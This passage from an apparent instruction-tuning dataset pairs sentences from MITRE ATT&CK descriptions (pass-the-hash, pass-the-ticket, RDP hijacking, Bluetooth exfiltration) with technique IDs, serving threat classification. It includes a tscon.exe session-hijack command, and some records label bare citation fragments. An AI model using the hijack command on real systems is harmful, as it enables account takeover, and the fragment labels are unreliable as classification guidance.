contained in the text. ### Input: Adversaries may \u201cpass the ticket\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. ### Response: T1550.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password.", "output": "T1550.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. ### Response: T1550.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kerberos authentication can be used as the first step to lateral movement to a remote system.", "output": "T1550.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kerberos authentication can be used as the first step to lateral movement to a remote system. ### Response: T1550.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).", "output": "T1550.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). ### Response: T1550.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access.", "output": "T1550.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. ### Response: T1550.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)", "output": "T1550.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket) ### Response: T1550.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)", "output": "T1550.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks) ### Response: T1550.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation:", "output": "T1550.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: ### Response: T1550.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Campbell 2014)", "output": "T1550.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Campbell 2014) ### Response: T1550.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys.", "output": "T1550.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. ### Response: T1550.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)", "output": "T1550.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash) ### Response: T1550.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may \u201cpass the hash\u201d using stolen password hashes to move laterally within an environment, bypassing normal system access controls.", "output": "T1550.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may \u201cpass the hash\u201d using stolen password hashes to move laterally within an environment, bypassing normal system access controls. ### Response: T1550.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password.", "output": "T1550.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. ### Response: T1550.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.", "output": "T1550.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. ### Response: T1550.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique.", "output": "T1550.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. ### Response: T1550.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Captured hashes are used with PtH to authenticate as that user.", "output": "T1550.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Captured hashes are used with PtH to authenticate as that user. ### Response: T1550.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once authenticated, PtH may be used to perform actions on local or remote systems.", "output": "T1550.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once authenticated, PtH may be used to perform actions on local or remote systems. ### Response: T1550.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use stolen password hashes to \"overpass the hash.\"", "output": "T1550.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use stolen password hashes to \"overpass the hash.\" ### Response: T1550.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket.", "output": "T1550.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. ### Response: T1550.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)", "output": "T1550.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) ### Response: T1550.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "attacks.(Citation: Stealthbits Overpass-the-Hash)", "output": "T1550.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: attacks.(Citation: Stealthbits Overpass-the-Hash) ### Response: T1550.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.).", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s).", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s).", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques.", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.", "output": "T1550", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors. ### Response: T1550."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote desktop is a common feature in operating systems.", "output": "T1076", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote desktop is a common feature in operating systems. ### Response: T1076."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system.", "output": "T1076", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. ### Response: T1076."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).", "output": "T1076", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). ### Response: T1076."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: TechNet Remote Desktop Services)", "output": "T1076", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: TechNet Remote Desktop Services) ### Response: T1076."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are other implementations and third-party tools that provide graphical access", "output": "T1076", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are other implementations and third-party tools that provide graphical access ### Response: T1076."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.", "output": "T1076", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS. ### Response: T1076."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials.", "output": "T1076", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. ### Response: T1076."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP.", "output": "T1076", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. ### Response: T1076."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence.", "output": "T1076", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. ### Response: T1076."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Alperovitch Malware)", "output": "T1076", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Alperovitch Malware) ### Response: T1076."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session.", "output": "T1076", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. ### Response: T1076."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically, a user is notified when someone else is trying to steal their session and prompted with a question.", "output": "T1076", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically, a user is notified when someone else is trying to steal their session and prompted with a question. ### Response: T1076."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With System permissions and using Terminal Services Console, <code>c:\\windows\\system32\\tscon.exe", "output": "T1076", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With System permissions and using Terminal Services Console, <code>c:\\windows\\system32\\tscon.exe ### Response: T1076."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[session number to be stolen]</code>, an adversary can hijack a session without the need for credentials or prompts to the user.", "output": "T1076", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [session number to be stolen]</code>, an adversary can hijack a session without the need for credentials or prompts to the user. ### Response: T1076."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: RDP Hijacking Korznikov)", "output": "T1076", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: RDP Hijacking Korznikov) ### Response: T1076."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be done remotely or locally and with active or disconnected sessions.", "output": "T1076", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be done remotely or locally and with active or disconnected sessions. ### Response: T1076."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: RDP Hijacking Medium)", "output": "T1076", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: RDP Hijacking Medium) ### Response: T1076."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session.", "output": "T1076", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. ### Response: T1076."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf.", "output": "T1076", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. ### Response: T1076."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Kali Redsnarf)", "output": "T1076", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Kali Redsnarf) ### Response: T1076."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search and gather information about victims from closed sources that can be used during targeting.", "output": "T1597", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search and gather information about victims from closed sources that can be used during targeting. ### Response: T1597."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds)", "output": "T1597", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) ### Response: T1597."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation:", "output": "T1597", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ### Response: T1597."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ZDNET Selling Data)\n\nAdversaries may search in different closed databases depending on what information they seek to gather.", "output": "T1597", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ZDNET Selling Data)\n\nAdversaries may search in different closed databases depending on what information they seek to gather. ### Response: T1597."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "output": "T1597", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ### Response: T1597."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search private data from threat intelligence vendors for information that can be used during targeting.", "output": "T1597.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. ### Response: T1597.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported.", "output": "T1597.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. ### Response: T1597.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)", "output": "T1597.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds) ### Response: T1597.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search in private threat intelligence vendor data to gather actionable information.", "output": "T1597.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search in private threat intelligence vendor data to gather actionable information. ### Response: T1597.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns.", "output": "T1597.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. ### Response: T1597.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or", "output": "T1597.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or ### Response: T1597.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "output": "T1597.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). ### Response: T1597.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel.", "output": "T1011.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. ### Response: T1011.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.", "output": "T1011.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel. ### Response: T1011.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may choose to do this if they have sufficient access and proximity.", "output": "T1011.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may choose to do this if they have sufficient access and proximity. ### Response: T1011.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.", "output": "T1011.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network. ### Response: T1011.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel.", "output": "T1011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. ### Response: T1011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.", "output": "T1011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. ### Response: T1011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.", "output": "T1011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network. ### Response: T1011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may collect data related to managed devices from configuration repositories.", "output": "T1602", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may collect data related to managed devices from configuration repositories. ### Response: T1602."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems.", "output": "T1602", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. ### Response: T1602."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Configuration repositories may also facilitate remote access and administration of devices.", "output": "T1602", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Configuration repositories may also facilitate remote access and administration of devices. ### Response: T1602."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target these repositories in order to collect large quantities of sensitive system administration data.", "output": "T1602", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target these repositories in order to collect large quantities of sensitive system administration data. ### Response: T1602."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)", "output": "T1602", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: 